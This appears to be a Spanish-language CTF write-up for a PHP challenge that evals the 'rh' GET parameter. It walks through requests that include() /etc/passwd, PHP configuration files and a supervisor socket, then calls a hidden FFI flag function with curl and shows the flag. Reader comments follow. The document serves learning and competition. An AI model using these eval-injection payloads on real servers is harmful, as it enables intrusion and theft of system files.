Tags: web php 

Poll rating:

An alternative solution, written in spanish

My php have some problem that some functions are not working correctly or even disabled! Help me get the flag in the server: http://pwnable.org:19260/
 tenemos una web en PHP con este codigo. Si pasamos por GET el parámetro rh, PHP hace eval() de lo q le mandemos al parametro (parsea el PHP y lo ejecuta, la sintaxis de lo que enviemos tiene q ser correcta).
 
 <?php
    if (isset($_GET['rh'])) {
        eval($_GET['rh']);
    } else {
        show_source(__FILE__);
    }

Ejemplos para entender el funcionamiento:
http://pwnable.org:19260/?rh=echo "hola";
la web devuelve en el fuente hola

si hacemos request de http://pwnable.org:19260/?rh=phpinfo();
nos muestra todo el phpinfo.

Trate de obtener todos los archivos de configuracion de ahi y de sistema. A veces funcionaba, a veces no, es un problema porque capaz la respuesta ya la sabes y el reto no te devuelve nada. Ej de archivos q descargué:
    GET /?rh=include('/usr/local/etc/php/conf.d/docker-vars.ini'); HTTP/1.1
    GET /?rh=include('/etc/passwd'); HTTP/1.1
    GET /?rh=include('/usr/local/etc/php-fpm.conf'); HTTP/1.1
    etc etc.. nada de flags hasta acá
    
una de las lineas me llamó la atencion
SUPERVISOR_SERVER_URL   unix:///dev/shm/supervisor.sock 
    
    GET /?rh=include('/dev/shm/supervisor.sock'); HTTP/1.1
    Host: pwnable.org:19260

hacer muchas veces el request, va variando a cada rato

en una de las respuestas devuelve esto
*****************************************************
    HTTP/1.1 200 OK
    Server: nginx
    Date: Sat, 27 Jun 2020 16:46:15 GMT
    Content-Type: text/html; charset=UTF-8
    Connection: keep-alive
    X-Powered-By: PHP/7.4.5
    Content-Length: 475

    string(79) "#define FFI_LIB "/flag.so"
    #define FFI_SCOPE "flag"

    char* flag_fUn3t1on_fFi();"
     <br />
    <b>Warning</b>:  include(/dev/shm/supervisor.sock): failed to open stream: Permission denied in <b>/var/www/html/index.php(3) : eval()'d code</b> on line <b>1</b><br />
    <br />
    <b>Warning</b>:  include(): Failed opening '/dev/shm/supervisor.sock' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php(3) : eval()'d code</b> on line <b>1</b><br />
*****************************************************

probe este request con curl y me da este error: Warning: Binary output can mess up your terminal. Use "--output <FILE>" bla bla
*****************************************************
    GET /?rh=echo flag_fUn3t1on_fFi(); HTTP/1.1
    Host: pwnable.org:19260
*****************************************************

request final:
    curl "http://pwnable.org:19260/?rh=echo flag_fUn3t1on_fFi();" --output aa.txt
    cat aa.txt (un choclo binario, y entre eso esta el flag)
    
flag{FFi_1s_qu1T3_DANg1ouS}

Writeups

ActionRatingAuthor team
Read writeup
not rated
hxp
You need to authenticate and join a team to post writeups array0111June 30, 2020, 1:05 a.m.

Is '/var/www/html/' here open_basedir?


HettiJuly 1, 2020, 11:58 p.m.

yes